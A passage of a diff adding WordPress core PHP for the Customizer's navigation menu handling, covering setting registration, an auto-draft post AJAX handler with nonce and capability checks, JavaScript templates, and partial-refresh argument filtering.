+		wp_localize_script( 'nav-menu', 'menus', $nav_menus_l10n );
+	}
+
+	/**
+	 * Filters a dynamic setting's constructor args.
+	 *
+	 * For a dynamic setting to be registered, this filter must be employed
+	 * to override the default false value with an array of args to pass to
+	 * the WP_Customize_Setting constructor.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param false|array $setting_args The arguments to the WP_Customize_Setting constructor.
+	 * @param string      $setting_id   ID for dynamic setting, usually coming from `$_POST['customized']`.
+	 * @return array|false
+	 */
+	public function filter_dynamic_setting_args( $setting_args, $setting_id ) {
+		if ( preg_match( WP_Customize_Nav_Menu_Setting::ID_PATTERN, $setting_id ) ) {
+			$setting_args = array(
+				'type'      => WP_Customize_Nav_Menu_Setting::TYPE,
+				'transport' => 'postMessage',
+			);
+		} elseif ( preg_match( WP_Customize_Nav_Menu_Item_Setting::ID_PATTERN, $setting_id ) ) {
+			$setting_args = array(
+				'type'      => WP_Customize_Nav_Menu_Item_Setting::TYPE,
+				'transport' => 'postMessage',
+			);
+		}
+		return $setting_args;
+	}
+
+	/**
+	 * Allow non-statically created settings to be constructed with custom WP_Customize_Setting subclass.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param string $setting_class WP_Customize_Setting or a subclass.
+	 * @param string $setting_id    ID for dynamic setting, usually coming from `$_POST['customized']`.
+	 * @param array  $setting_args  WP_Customize_Setting or a subclass.
+	 * @return string
+	 */
+	public function filter_dynamic_setting_class( $setting_class, $setting_id, $setting_args ) {
+		unset( $setting_id );
+
+		if ( ! empty( $setting_args['type'] ) && WP_Customize_Nav_Menu_Setting::TYPE === $setting_args['type'] ) {
+			$setting_class = 'WP_Customize_Nav_Menu_Setting';
+		} elseif ( ! empty( $setting_args['type'] ) && WP_Customize_Nav_Menu_Item_Setting::TYPE === $setting_args['type'] ) {
+			$setting_class = 'WP_Customize_Nav_Menu_Item_Setting';
+		}
+		return $setting_class;
+	}
+
+	/**
+	 * Add the customizer settings and controls.
+	 *
+	 * @since 4.3.0
+	 */
+	public function customize_register() {
+		$changeset = $this->manager->unsanitized_post_values();
+
+		// Preview settings for nav menus early so that the sections and controls will be added properly.
+		$nav_menus_setting_ids = array();
+		foreach ( array_keys( $changeset ) as $setting_id ) {
+			if ( preg_match( '/^(nav_menu_locations|nav_menu|nav_menu_item)\[/', $setting_id ) ) {
+				$nav_menus_setting_ids[] = $setting_id;
+			}
+		}
+		$settings = $this->manager->add_dynamic_settings( $nav_menus_setting_ids );
+		if ( $this->manager->settings_previewed() ) {
+			foreach ( $settings as $setting ) {
+				$setting->preview();
+			}
+		}
+
+		// Require JS-rendered control types.
+		$this->manager->register_panel_type( 'WP_Customize_Nav_Menus_Panel' );
+		$this->manager->register_control_type( 'WP_Customize_Nav_Menu_Control' );
+		$this->manager->register_control_type( 'WP_Customize_Nav_Menu_Name_Control' );
+		$this->manager->register_control_type( 'WP_Customize_Nav_Menu_Locations_Control' );
+		$this->manager->register_control_type( 'WP_Customize_Nav_Menu_Auto_Add_Control' );
+		$this->manager->register_control_type( 'WP_Customize_Nav_Menu_Item_Control' );
+
+		// Create a panel for Menus.
+		$description = '<p>' . __( 'This panel is used for managing navigation menus for content you have already published on your site. You can create menus and add items for existing content such as pages, posts, categories, tags, formats, or custom links.' ) . '</p>';
+		if ( current_theme_supports( 'widgets' ) ) {
+			/* translators: URL to the widgets panel of the customizer */
+			$description .= '<p>' . sprintf( __( 'Menus can be displayed in locations defined by your theme or in <a href="%s">widget areas</a> by adding a &#8220;Navigation Menu&#8221; widget.' ), "javascript:wp.customize.panel( 'widgets' ).focus();" ) . '</p>';
+		} else {
+			$description .= '<p>' . __( 'Menus can be displayed in locations defined by your theme.' ) . '</p>';
+		}
+		$this->manager->add_panel( new WP_Customize_Nav_Menus_Panel( $this->manager, 'nav_menus', array(
+			'title'       => __( 'Menus' ),
+			'description' => $description,
+			'priority'    => 100,
+			// 'theme_supports' => 'menus|widgets', @todo allow multiple theme supports
+		) ) );
+		$menus = wp_get_nav_menus();
+
+		// Menu locations.
+		$locations     = get_registered_nav_menus();
+		$num_locations = count( $locations );
+		if ( 1 == $num_locations ) {
+			$description = '<p>' . __( 'Your theme can display menus in one location. Select which menu you would like to use.' ) . '</p>';
+		} else {
+			/* translators: %s: number of menu locations */
+			$description = '<p>' . sprintf( _n( 'Your theme can display menus in %s location. Select which menu you would like to use.', 'Your theme can display menus in %s locations. Select which menu appears in each location.', $num_locations ), number_format_i18n( $num_locations ) ) . '</p>';
+		}
+
+		if ( current_theme_supports( 'widgets' ) ) {
+			/* translators: URL to the widgets panel of the customizer */
+			$description .= '<p>' . sprintf( __( 'If your theme has widget areas, you can also add menus there. Visit the <a href="%s">Widgets panel</a> and add a &#8220;Navigation Menu widget&#8221; to display a menu in a sidebar or footer.' ), "javascript:wp.customize.panel( 'widgets' ).focus();" ) . '</p>';
+		}
+
+		$this->manager->add_section( 'menu_locations', array(
+			'title'       => 1 === $num_locations ? _x( 'View Location', 'menu locations' ) : _x( 'View All Locations', 'menu locations' ),
+			'panel'       => 'nav_menus',
+			'priority'    => 30,
+			'description' => $description,
+		) );
+
+		$choices = array( '0' => __( '&mdash; Select &mdash;' ) );
+		foreach ( $menus as $menu ) {
+			$choices[ $menu->term_id ] = wp_html_excerpt( $menu->name, 40, '&hellip;' );
+		}
+
+		// Attempt to re-map the nav menu location assignments when previewing a theme switch.
+		$mapped_nav_menu_locations = array();
+		if ( ! $this->manager->is_theme_active() ) {
+			$theme_mods = get_option( 'theme_mods_' . $this->manager->get_stylesheet(), array() );
+
+			// If there is no data from a previous activation, start fresh.
+			if ( empty( $theme_mods['nav_menu_locations'] ) ) {
+				$theme_mods['nav_menu_locations'] = array();
+			}
+
+			$mapped_nav_menu_locations = wp_map_nav_menu_locations( $theme_mods['nav_menu_locations'], $this->original_nav_menu_locations );
+		}
+
+		foreach ( $locations as $location => $description ) {
+			$setting_id = "nav_menu_locations[{$location}]";
+
+			$setting = $this->manager->get_setting( $setting_id );
+			if ( $setting ) {
+				$setting->transport = 'postMessage';
+				remove_filter( "customize_sanitize_{$setting_id}", 'absint' );
+				add_filter( "customize_sanitize_{$setting_id}", array( $this, 'intval_base10' ) );
+			} else {
+				$this->manager->add_setting( $setting_id, array(
+					'sanitize_callback' => array( $this, 'intval_base10' ),
+					'theme_supports'    => 'menus',
+					'type'              => 'theme_mod',
+					'transport'         => 'postMessage',
+					'default'           => 0,
+				) );
+			}
+
+			// Override the assigned nav menu location if mapped during previewed theme switch.
+			if ( empty( $changeset[ $setting_id ] ) && isset( $mapped_nav_menu_locations[ $location ] ) ) {
+				$this->manager->set_post_value( $setting_id, $mapped_nav_menu_locations[ $location ] );
+			}
+
+			$this->manager->add_control( new WP_Customize_Nav_Menu_Location_Control( $this->manager, $setting_id, array(
+				'label'       => $description,
+				'location_id' => $location,
+				'section'     => 'menu_locations',
+				'choices'     => $choices,
+			) ) );
+		}
+
+		// Register each menu as a Customizer section, and add each menu item to each menu.
+		foreach ( $menus as $menu ) {
+			$menu_id = $menu->term_id;
+
+			// Create a section for each menu.
+			$section_id = 'nav_menu[' . $menu_id . ']';
+			$this->manager->add_section( new WP_Customize_Nav_Menu_Section( $this->manager, $section_id, array(
+				'title'     => html_entity_decode( $menu->name, ENT_QUOTES, get_bloginfo( 'charset' ) ),
+				'priority'  => 10,
+				'panel'     => 'nav_menus',
+			) ) );
+
+			$nav_menu_setting_id = 'nav_menu[' . $menu_id . ']';
+			$this->manager->add_setting( new WP_Customize_Nav_Menu_Setting( $this->manager, $nav_menu_setting_id, array(
+				'transport' => 'postMessage',
+			) ) );
+
+			// Add the menu contents.
+			$menu_items = (array) wp_get_nav_menu_items( $menu_id );
+
+			foreach ( array_values( $menu_items ) as $i => $item ) {
+
+				// Create a setting for each menu item (which doesn't actually manage data, currently).
+				$menu_item_setting_id = 'nav_menu_item[' . $item->ID . ']';
+
+				$value = (array) $item;
+				if ( empty( $value['post_title'] ) ) {
+					$value['title'] = '';
+				}
+
+				$value['nav_menu_term_id'] = $menu_id;
+				$this->manager->add_setting( new WP_Customize_Nav_Menu_Item_Setting( $this->manager, $menu_item_setting_id, array(
+					'value'     => $value,
+					'transport' => 'postMessage',
+				) ) );
+
+				// Create a control for each menu item.
+				$this->manager->add_control( new WP_Customize_Nav_Menu_Item_Control( $this->manager, $menu_item_setting_id, array(
+					'label'    => $item->title,
+					'section'  => $section_id,
+					'priority' => 10 + $i,
+				) ) );
+			}
+
+			// Note: other controls inside of this section get added dynamically in JS via the MenuSection.ready() function.
+		}
+
+		// Add the add-new-menu section and controls.
+		$this->manager->add_section( 'add_menu', array(
+			'type'     => 'new_menu',
+			'title'    => __( 'New Menu' ),
+			'panel'    => 'nav_menus',
+			'priority' => 20,
+		) );
+
+		$this->manager->add_setting( new WP_Customize_Filter_Setting( $this->manager, 'nav_menus_created_posts', array(
+			'transport' => 'postMessage',
+			'type' => 'option', // To prevent theme prefix in changeset.
+			'default' => array(),
+			'sanitize_callback' => array( $this, 'sanitize_nav_menus_created_posts' ),
+		) ) );
+	}
+
+	/**
+	 * Get the base10 intval.
+	 *
+	 * This is used as a setting's sanitize_callback; we can't use just plain
+	 * intval because the second argument is not what intval() expects.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param mixed $value Number to convert.
+	 * @return int Integer.
+	 */
+	public function intval_base10( $value ) {
+		return intval( $value, 10 );
+	}
+
+	/**
+	 * Return an array of all the available item types.
+	 *
+	 * @since 4.3.0
+	 * @since 4.7.0  Each array item now includes a `$type_label` in addition to `$title`, `$type`, and `$object`.
+	 *
+	 * @return array The available menu item types.
+	 */
+	public function available_item_types() {
+		$item_types = array();
+
+		$post_types = get_post_types( array( 'show_in_nav_menus' => true ), 'objects' );
+		if ( $post_types ) {
+			foreach ( $post_types as $slug => $post_type ) {
+				$item_types[] = array(
+					'title'  => $post_type->labels->name,
+					'type_label' => $post_type->labels->singular_name,
+					'type' => 'post_type',
+					'object' => $post_type->name,
+				);
+			}
+		}
+
+		$taxonomies = get_taxonomies( array( 'show_in_nav_menus' => true ), 'objects' );
+		if ( $taxonomies ) {
+			foreach ( $taxonomies as $slug => $taxonomy ) {
+				if ( 'post_format' === $taxonomy && ! current_theme_supports( 'post-formats' ) ) {
+					continue;
+				}
+				$item_types[] = array(
+					'title' => $taxonomy->labels->name,
+					'type_label' => $taxonomy->labels->singular_name,
+					'type' => 'taxonomy',
+					'object' => $taxonomy->name,
+				);
+			}
+		}
+
+		/**
+		 * Filters the available menu item types.
+		 *
+		 * @since 4.3.0
+		 * @since 4.7.0  Each array item now includes a `$type_label` in addition to `$title`, `$type`, and `$object`.
+		 *
+		 * @param array $item_types Navigation menu item types.
+		 */
+		$item_types = apply_filters( 'customize_nav_menu_available_item_types', $item_types );
+
+		return $item_types;
+	}
+
+	/**
+	 * Add a new `auto-draft` post.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array $postarr {
+	 *     Post array. Note that post_status is overridden to be `auto-draft`.
+	 *
+	 *     @var string $post_title   Post title. Required.
+	 *     @var string $post_type    Post type. Required.
+	 *     @var string $post_name    Post name.
+	 *     @var string $post_content Post content.
+	 * }
+	 * @return WP_Post|WP_Error Inserted auto-draft post object or error.
+	 */
+	public function insert_auto_draft_post( $postarr ) {
+		if ( ! isset( $postarr['post_type'] ) ) {
+			return new WP_Error( 'unknown_post_type', __( 'Invalid post type.' ) );
+		}
+		if ( empty( $postarr['post_title'] ) ) {
+			return new WP_Error( 'empty_title', __( 'Empty title' ) );
+		}
+		if ( ! empty( $postarr['post_status'] ) ) {
+			return new WP_Error( 'status_forbidden', __( 'Status is forbidden' ) );
+		}
+
+		/*
+		 * If the changeset is a draft, this will change to draft the next time the changeset
+		 * is updated; otherwise, auto-draft will persist in autosave revisions, until save.
+		 */
+		$postarr['post_status'] = 'auto-draft';
+
+		// Auto-drafts are allowed to have empty post_names, so it has to be explicitly set.
+		if ( empty( $postarr['post_name'] ) ) {
+			$postarr['post_name'] = sanitize_title( $postarr['post_title'] );
+		}
+		if ( ! isset( $postarr['meta_input'] ) ) {
+			$postarr['meta_input'] = array();
+		}
+		$postarr['meta_input']['_customize_draft_post_name'] = $postarr['post_name'];
+		$postarr['meta_input']['_customize_changeset_uuid'] = $this->manager->changeset_uuid();
+		unset( $postarr['post_name'] );
+
+		add_filter( 'wp_insert_post_empty_content', '__return_false', 1000 );
+		$r = wp_insert_post( wp_slash( $postarr ), true );
+		remove_filter( 'wp_insert_post_empty_content', '__return_false', 1000 );
+
+		if ( is_wp_error( $r ) ) {
+			return $r;
+		} else {
+			return get_post( $r );
+		}
+	}
+
+	/**
+	 * Ajax handler for adding a new auto-draft post.
+	 *
+	 * @since 4.7.0
+	 */
+	public function ajax_insert_auto_draft_post() {
+		if ( ! check_ajax_referer( 'customize-menus', 'customize-menus-nonce', false ) ) {
+			wp_send_json_error( 'bad_nonce', 400 );
+		}
+
+		if ( ! current_user_can( 'customize' ) ) {
+			wp_send_json_error( 'customize_not_allowed', 403 );
+		}
+
+		if ( empty( $_POST['params'] ) || ! is_array( $_POST['params'] ) ) {
+			wp_send_json_error( 'missing_params', 400 );
+		}
+
+		$params = wp_unslash( $_POST['params'] );
+		$illegal_params = array_diff( array_keys( $params ), array( 'post_type', 'post_title' ) );
+		if ( ! empty( $illegal_params ) ) {
+			wp_send_json_error( 'illegal_params', 400 );
+		}
+
+		$params = array_merge(
+			array(
+				'post_type' => '',
+				'post_title' => '',
+			),
+			$params
+		);
+
+		if ( empty( $params['post_type'] ) || ! post_type_exists( $params['post_type'] ) ) {
+			status_header( 400 );
+			wp_send_json_error( 'missing_post_type_param' );
+		}
+
+		$post_type_object = get_post_type_object( $params['post_type'] );
+		if ( ! current_user_can( $post_type_object->cap->create_posts ) || ! current_user_can( $post_type_object->cap->publish_posts ) ) {
+			status_header( 403 );
+			wp_send_json_error( 'insufficient_post_permissions' );
+		}
+
+		$params['post_title'] = trim( $params['post_title'] );
+		if ( '' === $params['post_title'] ) {
+			status_header( 400 );
+			wp_send_json_error( 'missing_post_title' );
+		}
+
+		$r = $this->insert_auto_draft_post( $params );
+		if ( is_wp_error( $r ) ) {
+			$error = $r;
+			if ( ! empty( $post_type_object->labels->singular_name ) ) {
+				$singular_name = $post_type_object->labels->singular_name;
+			} else {
+				$singular_name = __( 'Post' );
+			}
+
+			$data = array(
+				/* translators: %1$s is the post type name and %2$s is the error message. */
+				'message' => sprintf( __( '%1$s could not be created: %2$s' ), $singular_name, $error->get_error_message() ),
+			);
+			wp_send_json_error( $data );
+		} else {
+			$post = $r;
+			$data = array(
+				'post_id' => $post->ID,
+				'url'     => get_permalink( $post->ID ),
+			);
+			wp_send_json_success( $data );
+		}
+	}
+
+	/**
+	 * Print the JavaScript templates used to render Menu Customizer components.
+	 *
+	 * Templates are imported into the JS use wp.template.
+	 *
+	 * @since 4.3.0
+	 */
+	public function print_templates() {
+		?>
+		<script type="text/html" id="tmpl-available-menu-item">
+			<li id="menu-item-tpl-{{ data.id }}" class="menu-item-tpl" data-menu-item-id="{{ data.id }}">
+				<div class="menu-item-bar">
+					<div class="menu-item-handle">
+						<span class="item-type" aria-hidden="true">{{ data.type_label }}</span>
+						<span class="item-title" aria-hidden="true">
+							<span class="menu-item-title<# if ( ! data.title ) { #> no-title<# } #>">{{ data.title || wp.customize.Menus.data.l10n.untitled }}</span>
+						</span>
+						<button type="button" class="button-link item-add">
+							<span class="screen-reader-text"><?php
+								/* translators: 1: Title of a menu item, 2: Type of a menu item */
+								printf( __( 'Add to menu: %1$s (%2$s)' ), '{{ data.title || wp.customize.Menus.data.l10n.untitled }}', '{{ data.type_label }}' );
+							?></span>
+						</button>
+					</div>
+				</div>
+			</li>
+		</script>
+
+		<script type="text/html" id="tmpl-menu-item-reorder-nav">
+			<div class="menu-item-reorder-nav">
+				<?php
+				printf(
+					'<button type="button" class="menus-move-up">%1$s</button><button type="button" class="menus-move-down">%2$s</button><button type="button" class="menus-move-left">%3$s</button><button type="button" class="menus-move-right">%4$s</button>',
+					__( 'Move up' ),
+					__( 'Move down' ),
+					__( 'Move one level up' ),
+					__( 'Move one level down' )
+				);
+				?>
+			</div>
+		</script>
+
+		<script type="text/html" id="tmpl-nav-menu-delete-button">
+			<div class="menu-delete-item">
+				<button type="button" class="button-link button-link-delete">
+					<?php _e( 'Delete Menu' ); ?>
+				</button>
+			</div>
+		</script>
+
+		<script type="text/html" id="tmpl-nav-menu-submit-new-button">
+			<p id="customize-new-menu-submit-description"><?php _e( 'Click &#8220;Next&#8221; to start adding links to your new menu.' ); ?></p>
+			<button id="customize-new-menu-submit" type="button" class="button" aria-describedby="customize-new-menu-submit-description"><?php _e( 'Next' ); ?></button>
+		</script>
+
+		<script type="text/html" id="tmpl-nav-menu-locations-header">
+			<span class="customize-control-title customize-section-title-menu_locations-heading">{{ data.l10n.locationsTitle }}</span>
+			<p class="customize-control-description customize-section-title-menu_locations-description">{{ data.l10n.locationsDescription }}</p>
+		</script>
+
+		<script type="text/html" id="tmpl-nav-menu-create-menu-section-title">
+			<p class="add-new-menu-notice">
+				<?php _e( 'It doesn&#8217;t look like your site has any menus yet. Want to build one? Click the button to start.' ); ?>
+			</p>
+			<p class="add-new-menu-notice">
+				<?php _e( 'You&#8217;ll create a menu, assign it a location, and add menu items like links to pages and categories. If your theme has multiple menu areas, you might need to create more than one.' ); ?>
+			</p>
+			<h3>
+				<button type="button" class="button customize-add-menu-button">
+					<?php _e( 'Create New Menu' ); ?>
+				</button>
+			</h3>
+		</script>
+	<?php
+	}
+
+	/**
+	 * Print the html template used to render the add-menu-item frame.
+	 *
+	 * @since 4.3.0
+	 */
+	public function available_items_template() {
+		?>
+		<div id="available-menu-items" class="accordion-container">
+			<div class="customize-section-title">
+				<button type="button" class="customize-section-back" tabindex="-1">
+					<span class="screen-reader-text"><?php _e( 'Back' ); ?></span>
+				</button>
+				<h3>
+					<span class="customize-action">
+						<?php
+							/* translators: &#9656; is the unicode right-pointing triangle, and %s is the section title in the Customizer */
+							printf( __( 'Customizing &#9656; %s' ), esc_html( $this->manager->get_panel( 'nav_menus' )->title ) );
+						?>
+					</span>
+					<?php _e( 'Add Menu Items' ); ?>
+				</h3>
+			</div>
+			<div id="available-menu-items-search" class="accordion-section cannot-expand">
+				<div class="accordion-section-title">
+					<label class="screen-reader-text" for="menu-items-search"><?php _e( 'Search Menu Items' ); ?></label>
+					<input type="text" id="menu-items-search" placeholder="<?php esc_attr_e( 'Search menu items&hellip;' ) ?>" aria-describedby="menu-items-search-desc" />
+					<p class="screen-reader-text" id="menu-items-search-desc"><?php _e( 'The search results will be updated as you type.' ); ?></p>
+					<span class="spinner"></span>
+				</div>
+				<div class="search-icon" aria-hidden="true"></div>
+				<button type="button" class="clear-results"><span class="screen-reader-text"><?php _e( 'Clear Results' ); ?></span></button>
+				<ul class="accordion-section-content available-menu-items-list" data-type="search"></ul>
+			</div>
+			<?php
+
+			// Ensure the page post type comes first in the list.
+			$item_types = $this->available_item_types();
+			$page_item_type = null;
+			foreach ( $item_types as $i => $item_type ) {
+				if ( isset( $item_type['object'] ) && 'page' === $item_type['object'] ) {
+					$page_item_type = $item_type;
+					unset( $item_types[ $i ] );
+				}
+			}
+
+			$this->print_custom_links_available_menu_item();
+			if ( $page_item_type ) {
+				$this->print_post_type_container( $page_item_type );
+			}
+			// Containers for per-post-type item browsing; items are added with JS.
+			foreach ( $item_types as $item_type ) {
+				$this->print_post_type_container( $item_type );
+			}
+			?>
+		</div><!-- #available-menu-items -->
+	<?php
+	}
+
+	/**
+	 * Print the markup for new menu items.
+	 *
+	 * To be used in the template #available-menu-items.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array $available_item_type Menu item data to output, including title, type, and label.
+	 * @return void
+	 */
+	protected function print_post_type_container( $available_item_type ) {
+		$id = sprintf( 'available-menu-items-%s-%s', $available_item_type['type'], $available_item_type['object'] );
+		?>
+		<div id="<?php echo esc_attr( $id ); ?>" class="accordion-section">
+			<h4 class="accordion-section-title" role="presentation">
+				<?php echo esc_html( $available_item_type['title'] ); ?>
+				<span class="spinner"></span>
+				<span class="no-items"><?php _e( 'No items' ); ?></span>
+				<button type="button" class="button-link" aria-expanded="false">
+					<span class="screen-reader-text"><?php
+						/* translators: %s: Title of a section with menu items */
+						printf( __( 'Toggle section: %s' ), esc_html( $available_item_type['title'] ) ); ?></span>
+					<span class="toggle-indicator" aria-hidden="true"></span>
+				</button>
+			</h4>
+			<div class="accordion-section-content">
+				<?php if ( 'post_type' === $available_item_type['type'] ) : ?>
+					<?php $post_type_obj = get_post_type_object( $available_item_type['object'] ); ?>
+					<?php if ( current_user_can( $post_type_obj->cap->create_posts ) && current_user_can( $post_type_obj->cap->publish_posts ) ) : ?>
+						<div class="new-content-item">
+							<label for="<?php echo esc_attr( 'create-item-input-' . $available_item_type['object'] ); ?>" class="screen-reader-text"><?php echo esc_html( $post_type_obj->labels->add_new_item ); ?></label>
+							<input type="text" id="<?php echo esc_attr( 'create-item-input-' . $available_item_type['object'] ); ?>" class="create-item-input" placeholder="<?php echo esc_attr( $post_type_obj->labels->add_new_item ); ?>">
+							<button type="button" class="button add-content"><?php _e( 'Add' ); ?></button>
+						</div>
+					<?php endif; ?>
+				<?php endif; ?>
+				<ul class="available-menu-items-list" data-type="<?php echo esc_attr( $available_item_type['type'] ); ?>" data-object="<?php echo esc_attr( $available_item_type['object'] ); ?>" data-type_label="<?php echo esc_attr( isset( $available_item_type['type_label'] ) ? $available_item_type['type_label'] : $available_item_type['type'] ); ?>"></ul>
+			</div>
+		</div>
+		<?php
+	}
+
+	/**
+	 * Print the markup for available menu item custom links.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return void
+	 */
+	protected function print_custom_links_available_menu_item() {
+		?>
+		<div id="new-custom-menu-item" class="accordion-section">
+			<h4 class="accordion-section-title" role="presentation">
+				<?php _e( 'Custom Links' ); ?>
+				<button type="button" class="button-link" aria-expanded="false">
+					<span class="screen-reader-text"><?php _e( 'Toggle section: Custom Links' ); ?></span>
+					<span class="toggle-indicator" aria-hidden="true"></span>
+				</button>
+			</h4>
+			<div class="accordion-section-content customlinkdiv">
+				<input type="hidden" value="custom" id="custom-menu-item-type" name="menu-item[-1][menu-item-type]" />
+				<p id="menu-item-url-wrap" class="wp-clearfix">
+					<label class="howto" for="custom-menu-item-url"><?php _e( 'URL' ); ?></label>
+					<input id="custom-menu-item-url" name="menu-item[-1][menu-item-url]" type="text" class="code menu-item-textbox" value="http://">
+				</p>
+				<p id="menu-item-name-wrap" class="wp-clearfix">
+					<label class="howto" for="custom-menu-item-name"><?php _e( 'Link Text' ); ?></label>
+					<input id="custom-menu-item-name" name="menu-item[-1][menu-item-title]" type="text" class="regular-text menu-item-textbox">
+				</p>
+				<p class="button-controls">
+					<span class="add-to-menu">
+						<input type="submit" class="button submit-add-to-menu right" value="<?php esc_attr_e( 'Add to Menu' ); ?>" name="add-custom-menu-item" id="custom-menu-item-submit">
+						<span class="spinner"></span>
+					</span>
+				</p>
+			</div>
+		</div>
+		<?php
+	}
+
+	//
+	// Start functionality specific to partial-refresh of menu changes in Customizer preview.
+	//
+
+	/**
+	 * Nav menu args used for each instance, keyed by the args HMAC.
+	 *
+	 * @since 4.3.0
+	 * @var array
+	 */
+	public $preview_nav_menu_instance_args = array();
+
+	/**
+	 * Filters arguments for dynamic nav_menu selective refresh partials.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param array|false $partial_args Partial args.
+	 * @param string      $partial_id   Partial ID.
+	 * @return array Partial args.
+	 */
+	public function customize_dynamic_partial_args( $partial_args, $partial_id ) {
+
+		if ( preg_match( '/^nav_menu_instance\[[0-9a-f]{32}\]$/', $partial_id ) ) {
+			if ( false === $partial_args ) {
+				$partial_args = array();
+			}
+			$partial_args = array_merge(
+				$partial_args,
+				array(
+					'type'                => 'nav_menu_instance',
+					'render_callback'     => array( $this, 'render_nav_menu_partial' ),
+					'container_inclusive' => true,
+					'settings'            => array(), // Empty because the nav menu instance may relate to a menu or a location.
+					'capability'          => 'edit_theme_options',
+				)
+			);
+		}
+
+		return $partial_args;
+	}
+
+	/**
+	 * Add hooks for the Customizer preview.
+	 *
+	 * @since 4.3.0
+	 */
+	public function customize_preview_init() {
+		add_action( 'wp_enqueue_scripts', array( $this, 'customize_preview_enqueue_deps' ) );
+		add_filter( 'wp_nav_menu_args', array( $this, 'filter_wp_nav_menu_args' ), 1000 );
+		add_filter( 'wp_nav_menu', array( $this, 'filter_wp_nav_menu' ), 10, 2 );
+		add_filter( 'wp_footer', array( $this, 'export_preview_data' ), 1 );
+		add_filter( 'customize_render_partials_response', array( $this, 'export_partial_rendered_nav_menu_instances' ) );
+	}
+
+	/**
+	 * Make the auto-draft status protected so that it can be queried.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @global array $wp_post_statuses List of post statuses.
+	 */
+	public function make_auto_draft_status_previewable() {
+		global $wp_post_statuses;
+		$wp_post_statuses['auto-draft']->protected = true;
+	}
+
+	/**
+	 * Sanitize post IDs for posts created for nav menu items to be published.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param array $value Post IDs.
+	 * @returns array Post IDs.
+	 */
+	public function sanitize_nav_menus_created_posts( $value ) {
+		$post_ids = array();
+		foreach ( wp_parse_id_list( $value ) as $post_id ) {
+			if ( empty( $post_id ) ) {
+				continue;
+			}
+			$post = get_post( $post_id );
+			if ( 'auto-draft' !== $post->post_status && 'draft' !== $post->post_status ) {
+				continue;
+			}
+			$post_type_obj = get_post_type_object( $post->post_type );
+			if ( ! $post_type_obj ) {
+				continue;
+			}
+			if ( ! current_user_can( $post_type_obj->cap->publish_posts ) || ! current_user_can( $post_type_obj->cap->edit_post, $post_id ) ) {
+				continue;
+			}
+			$post_ids[] = $post->ID;
+		}
+		return $post_ids;
+	}
+
+	/**
+	 * Publish the auto-draft posts that were created for nav menu items.
+	 *
+	 * The post IDs will have been sanitized by already by
+	 * `WP_Customize_Nav_Menu_Items::sanitize_nav_menus_created_posts()` to
+	 * remove any post IDs for which the user cannot publish or for which the
+	 * post is not an auto-draft.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @param WP_Customize_Setting $setting Customizer setting object.
+	 */
+	public function save_nav_menus_created_posts( $setting ) {
+		$post_ids = $setting->post_value();
+		if ( ! empty( $post_ids ) ) {
+			foreach ( $post_ids as $post_id ) {
+
+				// Prevent overriding the status that a user may have prematurely updated the post to.
+				$current_status = get_post_status( $post_id );
+				if ( 'auto-draft' !== $current_status && 'draft' !== $current_status ) {
+					continue;
+				}
+
+				$target_status = 'attachment' === get_post_type( $post_id ) ? 'inherit' : 'publish';
+				$args = array(
+					'ID' => $post_id,
+					'post_status' => $target_status,
+				);
+				$post_name = get_post_meta( $post_id, '_customize_draft_post_name', true );
+				if ( $post_name ) {
+					$args['post_name'] = $post_name;
+				}
+
+				// Note that wp_publish_post() cannot be used because unique slugs need to be assigned.
+				wp_update_post( wp_slash( $args ) );
+
+				delete_post_meta( $post_id, '_customize_draft_post_name' );
+			}
+		}
+	}
+
+	/**
+	 * Keep track of the arguments that are being passed to wp_nav_menu().
+	 *
+	 * @since 4.3.0
+	 * @see wp_nav_menu()
+	 * @see WP_Customize_Widgets_Partial_Refresh::filter_dynamic_sidebar_params()
+	 *
+	 * @param array $args An array containing wp_nav_menu() arguments.
+	 * @return array Arguments.
+	 */
+	public function filter_wp_nav_menu_args( $args ) {
+		/*
+		 * The following conditions determine whether or not this instance of
+		 * wp_nav_menu() can use selective refreshed. A wp_nav_menu() can be
+		 * selective refreshed if...
+		 */
+		$can_partial_refresh = (
+			// ...if wp_nav_menu() is directly echoing out the menu (and thus isn't manipulating the string after generated),
+			! empty( $args['echo'] )
+			&&
+			// ...and if the fallback_cb can be serialized to JSON, since it will be included in the placement context data,
+			( empty( $args['fallback_cb'] ) || is_string( $args['fallback_cb'] ) )
+			&&
+			// ...and if the walker can also be serialized to JSON, since it will be included in the placement context data as well,
+			( empty( $args['walker'] ) || is_string( $args['walker'] ) )
+			// ...and if it has a theme location assigned or an assigned menu to display,
+			&& (
+				! empty( $args['theme_location'] )
+				||
+				( ! empty( $args['menu'] ) && ( is_numeric( $args['menu'] ) || is_object( $args['menu'] ) ) )
+			)
+			&&
+			// ...and if the nav menu would be rendered with a wrapper container element (upon which to attach data-* attributes).
+			(
+				! empty( $args['container'] )
+				||
+				( isset( $args['items_wrap'] ) && '<' === substr( $args['items_wrap'], 0, 1 ) )
+			)
+		);
+		$args['can_partial_refresh'] = $can_partial_refresh;
+
+		$exported_args = $args;
+
+		// Empty out args which may not be JSON-serializable.
+		if ( ! $can_partial_refresh ) {
+			$exported_args['fallback_cb'] = '';
+			$exported_args['walker'] = '';
+		}
+
+		/*
+		 * Replace object menu arg with a term_id menu arg, as this exports better
+		 * to JS and is easier to compare hashes.
+		 */
+		if ( ! empty( $exported_args['menu'] ) && is_object( $exported_args['menu'] ) ) {
+			$exported_args['menu'] = $exported_args['menu']->term_id;
+		}
+
+		ksort( $exported_args );
+		$exported_args['args_hmac'] = $this->hash_nav_menu_args( $exported_args );
+
+		$args['customize_preview_nav_menus_args'] = $exported_args;
+		$this->preview_nav_menu_instance_args[ $exported_args['args_hmac'] ] = $exported_args;
+		return $args;
+	}
+
+	/**
+	 * Prepares wp_nav_menu() calls for partial refresh.
+	 *
+	 * Injects attributes into container element.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @see wp_nav_menu()
+	 *
+	 * @param string $nav_menu_content The HTML content for the navigation menu.
+	 * @param object $args             An object containing wp_nav_menu() arguments.
+	 * @return string Nav menu HTML with selective refresh attributes added if partial can be refreshed.
+	 */
